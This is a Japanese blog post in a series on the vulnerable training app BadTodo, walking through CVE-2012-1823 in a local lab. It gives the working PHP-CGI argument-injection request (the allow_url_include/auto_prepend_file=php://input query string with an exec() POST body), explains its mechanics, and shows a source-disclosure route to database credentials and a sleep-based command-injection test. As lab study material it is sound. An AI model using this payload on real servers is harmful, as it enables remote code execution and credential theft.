前回:やられアプリ BadTodo - 7 リモート・ファイルインクルード(RFI) - demandosigno
古いPHPにはリモートからスクリプト実行を許す脆弱性があります。(CVE-2012-1823)
OSコマンドがウェブサーバ上で実行され、その結果がウェブブラウザに返されます。
ZAPの例の通りリクエストを送ってみます。
POST https://todo.example.jp/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
Body部
<?php exec('echo 7kv8fy0o9xhosg4ev3vk',$colm);echo join("",$colm);die();?>
レスポンス
7kv8fy0o9xhosg4ev3vk
JVNDB-2012-002235 - JVN iPedia - 脆弱性対策情報データベース には
「影響を受けるシステム:PHP version 5.3.12 より前のバージョン」
とありますが、Burpのレスポンスを見ると X-Powered-By: PHP/5.3.3 かつ Server API: CGI/FastCGI と記載があることから脆弱性のあるバージョンであると分かります。
CGIの仕様として、クエリ文字列に等号を含めない場合は、クエリ文字列がCGIスクリプトのコマンドライン引数として指定されます。
例えば、http://example.jp/test.cgi?foo+bar+baz
という呼び出しに対しては、test.cgiは以下のコマンドラインで呼び出されます。
test.cgi foo bar baz この仕様を悪用して、CGI版のPHPにコマンドライン引数としてPHPのオプションを指定できます。例えばhttp://example.jp/test.php?-s
というリクエストは、-sオプション(スクリプトソースを表示)と解釈され、PHPスクリプトを実行する代わりに、ソースを表示します。
blog.tokumaru.org
よって今回のZAPの例のクエリストリング?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
はPHPのコマンドライン引数
-d allow_url_include=1
-d auto_prepend_file=php://input となります。
CVE-2012-1823の影響はスクリプトソースの表示だけではありません。PHPのオプションを組み合わせることにより、外部から任意のスクリプト実行が可能となります。具体的には、-dオプションを用いて、php.iniのディレクティブを外部から指定できます。metasploitminute.comで紹介されていたExploitを元に、攻撃例を紹介します。以下の2つのphp.iniディレクティブを指定します。
allow_url_include=On
auto_prepend_file=php://input
最初のディレクティブは、includeするファイルをURL指定でリモートから読み出すことを許可するものです。2番目のディレクティブは、PHP実行に先立ち、スクリプトをincludeしておくものですが、ファイル名としてphp://inputを指定しているため、POSTパラメータとして送信した内容をPHPスクリプトとして実行します。両者の組み合わせにより、外部から指定したスクリプトを実行することができます。
blog.tokumaru.org
最初のBurpでのリクエスト例POST https://todo.example.jp/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
はPOSTパラメータとして送信した内容
<?php exec('echo 7kv8fy0o9xhosg4ev3vk',$colm);echo join("",$colm);die();?>
をPHPスクリプトとして実行します。
実際にレスポンスで実行されていることが確認できます。
7kv8fy0o9xhosg4ev3vk
次に同じく徳丸さんの動画を参考にもう一つ実行例を試します。
デモ用のスクリプトを作成し \badtodo\badtodo\www\html\todo に ps.php として保存します。
<?php header('Content-Type: text/plain'); system("ps -fH");
このコマンドをブラウザで実行してみましたが、結果が何も返ってきませんでした。
端末の方でコマンドを打ってみたところ、
# ps -fH
/bin/sh: 9: ps: not found
となりました。
ApacheのDockerfileを見るとDebianがベースとなっています。
よって apt で procps パッケージをインストールします。
# apt update && apt install -y procps
参考:DockerHubのnginx:latestイメージでpsコマンド叩いたら「そんなもの無い」って言われたのでインストールする - モヒカンメモ
ブラウザで再度試します。
うまくいきました。php-5.3.3バイナリが実行され、シェル経由でpsコマンドが実行されています。
次にクエリ文字列で"this is a pen"と指定してみます。
https://todo.example.jp/ps.php?this%20is%20a%20pen
TIME CMD 00:00:00 /usr/local/apache2/cgi-bin/php-5.3.3.bin this is a pen
PHPバイナリに"this is a pen"と渡されています。
https://todo.example.jp/ps.php?-v
の場合
00:00:00 /usr/local/apache2/cgi-bin/php-5.3.3.bin -v
https://todo.example.jp/ps.php?-d+allow_url_include%3dOn
の場合
00:00:00 /usr/local/apache2/cgi-bin/php-5.3.3.bin -d allow_url_include=On
ps.php を phpinfo.php に置き換えると設定情報が閲覧できます。
"allow_url_include On"が有効化されていることが分かります(デフォルトではOffです)。
・基本はauto_prepend_file= で外部からスクリプトを実行すること
・そのためには、allow_url_includeがOnでないといけないが、これは、
-d allow_url_include=On で外部から指定可能
・auto_prepend_fileで指定するURLは以下の候補があるが
- 外部サイトのURL:外部にサイトを用意する必要がある
- data:スキーム:URLでコードを指定できるが、エンコードが面倒
- php://input:PHPの固有機能でリクエストボディを示す。これが一番簡単
もっとも悪用されたPHPの脆弱性CVE-2012-1823を検証する - YouTube
cat コマンドを実行してみます。
ソースコードの閲覧
ZAPの検出例として「Source Code Disclosure - CVE-2012-1823」が挙がっていますが、今回の内容に含まれる -s オプションでソースコードが閲覧できてしまうという指摘です。
3.6 SQLインジェクション MariaDBのパスワード取得でも少し書きましたが、ソースコードが閲覧できると logindo.php → common.php と辿ってデータベースのログインID/Passが分かります。
$dbh = new PDO("mysql:host=$dbhost;dbname=todo", 'root', '******');(実際はマスクされていません)
「ウェブ健康診断仕様 p.12 OS コマンド・インジェクション」の例も試します。
"/bin/sleep 20" が応答に20,038ミリ秒=20秒かかっており、OSコマンドが実行されたことが分かります。
次回:やられアプリ BadTodo - 8.2 OS コマンド・インジェクション(内部でシェルを呼び出す関数) - demandosigno